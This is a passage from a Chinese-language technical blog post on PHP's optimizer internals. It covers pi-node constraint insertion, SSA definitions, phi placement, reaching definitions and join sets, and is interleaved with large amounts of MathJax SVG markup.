-11 132 -11Z"></path></g></g></g></svg></mjx-container></span>里面constraint对应var没有发生变化?</strong></p><p>其实这个问题回答其实是比较复杂的，因为找路径的同时你还要去关注var没有发生变化. php里面只做了最简单的优化. 记住我们在这里考虑要不要插pi，只是为了避免冗余的constraint，并不是说不能插，也就是说即使插了也是safe的. 所以尽量能减少多少算多少）php在这里会直接考虑to的直接前驱predecessor，如果predecessor里面的var发生变化了，不用想，经过这个predecessor都不会在我们的考虑范围之内了. 如果var没有发生变化，我们就要考虑other到这个predecessor有没有一条路径了，判断有没有路径最简单的方法就是看other是不是这个predecessor的dominator. （笑死!!!!） 再结合我们的问题下一步就显而易见了，有路径不插入pi, 实际上这个是不太准确的，我们在这里只知道有路径，但是路径具体是那条我们并不知道，并且在predecessor前面的路径上的节点var有没有发生变化，我们也是不知道. 所以这里只是作者的小推测. 其他我们没有提到的情况都会插入pi.</p><p>这里考虑如果插入的是prefect pi，那么它是真的有作用的. 如果插入是冗余的pi，这个constraint会造成一些错误吗？因为整个模式都偏向于不要插(留下这个问题，我要去看inference). 但是实际是要插入，而导致没有插入，将会导致后面inference的精度降低.</p><figure><img src="https://www.m4p1e.com/images/2.png" alt="exmaple"><figcaption aria-hidden="true">exmaple</figcaption></figure></li></ol><h4 id="x02-ssa-definition">0x02 SSA Definition</h4><ul><li>在SSA表示下，任意状态下的某个变量使用，只有一个var definition能够生效。</li><li>程序的控制流在SSA下保持不变。</li><li>有一个特殊的merge操作<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>,用于处理多个前驱node的变量definition的交汇取值。</li><li>并不是所有node交汇处都需要<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>。</li><li>自然地如果在交汇处所有前驱node对某个变量的definition都相同，则不需要使用<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>。</li><li>use-def analysis is faster on SSA (application)。</li><li>SSA to machine code i.e code generation</li></ul><p>如何精确的插入phi呢？</p><p><strong>single reaching-definition</strong>: A definition <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.873ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 828 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D437" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path></g></g></g></svg></mjx-container></span> of variable <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.097ex" height="1.027ex" role="img" focusable="false" viewBox="0 -443 485 454"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span> reaches a point <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></span> in the CFG if there exists a path from <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.873ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 828 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D437" d="M287 628Q287 635 230 637Q207 637 200 638T193 647Q193 655 197 667T204 682Q206 683 403 683Q570 682 590 682T630 676Q702 659 752 597T803 431Q803 275 696 151T444 3L430 1L236 0H125H72Q48 0 41 2T33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM703 469Q703 507 692 537T666 584T629 613T590 629T555 636Q553 636 541 636T512 636T479 637H436Q392 637 386 627Q384 623 313 339T242 52Q242 48 253 48T330 47Q335 47 349 47T373 46Q499 46 581 128Q617 164 640 212T683 339T703 469Z"></path></g></g></g></svg></mjx-container></span> to <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container></span> that does not pass through another definition of <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.097ex" height="1.027ex" role="img" focusable="false" viewBox="0 -443 485 454"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span>. (简而言之就是具体某个变量的definition和use之间存在一个条路径，且在这条路径上变量的值没有改变).</p><p>直觉上如果有两个distinct 基本块<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.339ex" xmlns="http://www.w3.org/2000/svg" width="2.345ex" height="1.339ex" role="img" focusable="false" viewBox="0 -442 1036.6 592"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mn" transform="translate(633,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g></g></svg></mjx-container></span>和<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.339ex" xmlns="http://www.w3.org/2000/svg" width="2.345ex" height="1.339ex" role="img" focusable="false" viewBox="0 -442 1036.6 592"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mn" transform="translate(633,-150) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g></g></g></svg></mjx-container></span>,他们都有关于同一个变量<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.097ex" height="1.027ex" role="img" focusable="false" viewBox="0 -443 485 454"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span>的definition，并且存在一个<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.375ex" xmlns="http://www.w3.org/2000/svg" width="2.345ex" height="1.375ex" role="img" focusable="false" viewBox="0 -442 1036.6 607.6"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mn" transform="translate(633,-150) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g></g></g></g></svg></mjx-container></span>是它们一个join node即存在非空路径<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.375ex" xmlns="http://www.w3.org/2000/svg" width="8.21ex" height="1.375ex" role="img" focusable="false" viewBox="0 -442 3628.7 607.6"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mn" transform="translate(633,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 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stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>插入，所以在插入<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>时候，考虑了minimality的问题，理论上我们需要去掉来自两个不同前驱但是对<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.097ex" height="1.027ex" role="img" focusable="false" viewBox="0 -443 485 454"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container></span>有相同definition的情况，为了解决这样问题这里就引入的join set的，它就表示了对于每个变量的应该至少需要插入<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.493ex" xmlns="http://www.w3.org/2000/svg" width="1.48ex" height="1.493ex" role="img" focusable="false" viewBox="0 -442 654 660"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D711" d="M92 210Q92 176 106 149T142 108T185 85T220 72L235 70L237 71L250 112Q268 170 283 211T322 299T370 375T429 423T502 442Q547 442 582 410T618 302Q618 224 575 152T457 35T299 -10Q273 -10 273 -12L266 -48Q260 -83 252 -125T241 -179Q236 -203 215 -212Q204 -218 190 -218Q159 -215 159 -185Q159 -175 214 -2L209 0Q204 2 195 5T173 14T147 28T120 46T94 71T71 103T56 142T50 190Q50 238 76 311T149 431H162Q183 431 183 423Q183 417 175 409Q134 361 114 300T92 210ZM574 278Q574 320 550 344T486 369Q437 369 394 329T323 218Q309 184 295 109L286 64Q304 62 306 62Q423 62 498 131T574 278Z"></path></g></g></g></svg></mjx-container></span>的source个数.</p><p><strong>Join Set Definition</strong> 给定图上的节点集合<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.05ex" xmlns="http://www.w3.org/2000/svg" width="1.459ex" height="1.645ex" role="img" focusable="false" viewBox="0 -705 645 727"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D446" d="M308 24Q367 24 416 76T466 197Q466 260 414 284Q308 311 278 321T236 341Q176 383 176 462Q176 523 208 573T273 648Q302 673 343 688T407 704H418H425Q521 704 564 640Q565 640 577 653T603 682T623 704Q624 704 627 704T632 705Q645 705 645 698T617 577T585 459T569 456Q549 456 549 465Q549 471 550 475Q550 478 551 494T553 520Q553 554 544 579T526 616T501 641Q465 662 419 662Q362 662 313 616T263 510Q263 480 278 458T319 427Q323 425 389 408T456 390Q490 379 522 342T554 242Q554 216 546 186Q541 164 528 137T492 78T426 18T332 -20Q320 -22 298 -22Q199 -22 144 33L134 44L106 13Q83 -14 78 -18T65 -22Q52 -22 52 -14Q52 -11 110 221Q112 227 130 227H143Q149 221 149 216Q149 214 148 207T144 186T142 153Q144 114 160 87T203 47T255 29T308 24Z"></path></g></g></g></svg></mjx-container></span>, <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="9.541ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4217 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mtext"><path data-c="1D409" d="M174 114Q174 96 169 82T159 63T144 47L155 45Q183 40 203 40Q271 40 290 104Q294 118 294 150T295 380V624H154V686H169Q196 683 365 683Q499 683 517 686H527V624H446V379Q446 183 446 153T441 108Q413 32 315 2Q266 -11 208 -11Q160 -11 118 -2T42 37T8 114V122Q8 150 30 174T91 198T152 174T174 122V114Z"></path><path data-c="1D40E" d="M64 339Q64 431 96 502T182 614T295 675T420 696Q469 696 481 695Q620 680 709 589T798 339Q798 173 697 82T432 -10Q262 -10 163 85T64 339ZM625 454Q618 502 600 538T562 593T515 624T469 639T431 642Q331 642 276 563Q232 493 232 353Q232 315 234 285T244 216T267 148T308 94T372 56Q405 46 432 46Q517 46 567 106T627 267Q631 299 631 353Q631 418 625 454Z" transform="translate(594,0)"></path><path data-c="1D408" d="M397 0Q370 3 218 3Q65 3 38 0H25V62H139V624H25V686H38Q65 683 218 683Q370 683 397 686H410V624H296V62H410V0H397Z" transform="translate(1458,0)"></path><path data-c="1D40D" d="M314 0Q296 3 181 3T48 0H39V62H147V624H39V686H171H265Q288 686 297 686T309 684T315 679Q317 676 500 455T684 233V624H576V686H585Q603 683 718 683T851 686H860V624H752V319Q752 15 750 11Q747 4 742 2T718 0H712Q708 0 706 0T700 0T696 1T693 2T690 4T687 7T684 11T679 16T674 23Q671 27 437 311L215 579V62H323V0H314Z" transform="translate(1894,0)"></path></g><g data-mml-node="mo" transform="translate(2794,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(3183,0)"><path data-c="1D446" d="M308 24Q367 24 416 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55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 表示一些特殊节点的集合(<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.05ex" xmlns="http://www.w3.org/2000/svg" width="1.459ex" height="1.645ex" role="img" focusable="false" viewBox="0 -705 645 727"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D446" d="M308 24Q367 24 416 76T466 197Q466 260 414 284Q308 311 278 321T236 341Q176 383 176 462Q176 523 208 573T273 648Q302 673 343 688T407 704H418H425Q521 704 564 640Q565 640 577 653T603 682T623 704Q624 704 627 704T632 705Q645 705 645 698T617 577T585 459T569 456Q549 456 549 465Q549 471 550 475Q550 478 551 494T553 520Q553 554 544 579T526 616T501 641Q465 662 419 662Q362 662 313 616T263 510Q263 480 278 458T319 427Q323 425 389 408T456 390Q490 379 522 342T554 242Q554 216 546 186Q541 164 528 137T492 78T426 18T332 -20Q320 -22 298 -22Q199 -22 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data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(3619.6,0)"><path data-c="1D446" d="M308 24Q367 24 416 76T466 197Q466 260 414 284Q308 311 278 321T236 341Q176 383 176 462Q176 523 208 573T273 648Q302 673 343 688T407 704H418H425Q521 704 564 640Q565 640 577 653T603 682T623 704Q624 704 627 704T632 705Q645 705 645 698T617 577T585 459T569 456Q549 456 549 465Q549 471 550 475Q550 478 551 494T553 520Q553 554 544 579T526 616T501 641Q465 662 419 662Q362 662 313 616T263 510Q263 480 278 458T319 427Q323 425 389 408T456 390Q490 379 522 342T554 242Q554 216 546 186Q541 164 528 137T492 78T426 18T332 -20Q320 -22 298 -22Q199 -22 144 33L134 44L106 13Q83 -14 78 -18T65 -22Q52 -22 52 -14Q52 -11 110 221Q112 227 130 227H143Q149 221 149 216Q149 214 148 207T144 186T142 153Q144 114 160 87T203 47T255 29T308 24Z"></path></g><g data-mml-node="mo" transform="translate(4264.6,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span>得到了蓝色的结点，<span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.528ex" height="2.588ex" role="img" focusable="false" viewBox="0 -894 4653.6 1144"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mtext"><path data-c="1D409" d="M174 114Q174 96 169 82T159 63T144 47L155 45Q183 40 203 40Q271 40 290 104Q294 118 294 150T295 380V624H154V686H169Q196 683 365 683Q499 683 517 686H527V624H446V379Q446 183 446 153T441 108Q413 32 315 2Q266 -11 208 -11Q160 -11 118 -2T42 37T8 114V122Q8 150 30 174T91 198T152 174T174 122V114Z"></path><path data-c="1D40E" d="M64 339Q64 431 96 502T182 614T295 675T420 